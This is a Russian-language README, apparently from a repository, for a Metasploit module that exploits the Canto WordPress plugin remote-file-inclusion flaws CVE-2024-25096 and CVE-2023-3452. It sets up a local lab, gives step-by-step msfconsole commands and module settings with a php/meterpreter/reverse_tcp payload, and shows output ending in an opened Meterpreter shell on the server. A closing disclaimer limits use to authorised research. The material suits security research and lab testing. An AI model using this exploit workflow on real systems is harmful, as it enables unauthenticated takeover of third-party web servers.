
это модуль эксплойта Metasploit для CVE-2024-25096 и CVE-2023-3452
Этот эксплойт является proof-of-work эксплойтом для RFI-уязвимостей CVE-2024-25096 и CVE-2023-3452, которые позволяют атакующему установить интерактивную удалённую оболочку на целевой системе.
CVE-2024-25096 использует параметр abspath, который позволяет удалённое включение файлов через оператор include_once. CVE-2023-3452 имеет ту же процедуру, за исключением того, что параметр “wp_abspath” позволяет удалённое включение файлов через оператор require_once. Это позволяет атакующему выполнять неаутентифицированный код на целевом сервере.
Хотя базы данных уязвимостей указывают, что CVE-2023-3452 затрагивает версии до 3.0.4, тестирование подтвердило, что уязвимость остаётся эксплуатируемой вплоть до версии 3.0.6. Проблема была исправлена в версии 3.0.7 — той же версии, которая устраняет CVE-2024-25096.
Для того чтобы целевая система была уязвимой, необходимы следующие условия:
allow_url_include=On Клонируйте этот репозиторий и загрузите плагин canto
Обратите внимание: если вы хотите скачать более раннюю версию Canto, просто скопируйте ссылку и измените номер версии в ссылке на нужную вам.
Запустите контейнер (docker-compose.yaml) командой podman-compose up.
Откройте http://localhost:8889/wp-admin/install.php в любом браузере и создайте учётную запись wordpress.

После входа вы можете выбрать и установить zip-файл canto на вкладке Плагины -> Добавить новые плагины -> Загрузить плагин.

Добавьте эксплойт (rce_exploit_cve_2024_25096.rb) в папку модулей metasploit.
Запустите Metasploit (msfconsole) и перезагрузите Metasploit (reload_all).
Выберите полезную нагрузку.
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
задайте значения требуемых переменных
Module options (exploit/rce_exploit_cve_2024_25096):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 yes Port
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false yes Use SSL
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETFILE get.php yes Vulnerable PHP file
TARGETURI /wp-content/plugins/canto yes Path to cantos root directory
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Plugin <= 3.0.6
View the full module info with the info, or info -d command
Запустите эксплойт и надейтесь на лучшее ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
Этот проект предоставляется исключительно в образовательных целях и для исследований в области безопасности.
Автор не поощряет и не одобряет противоправную деятельность. Любое использование этого кода для атак на системы без разрешения строго запрещено.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Пользователи обязаны обеспечивать соблюдение всех применимых законов и нормативных актов.
Используйте этот код только в средах, где у вас есть явное разрешение, например в лабораторных средах, рамках тестирования на проникновение или в исследованиях безопасности.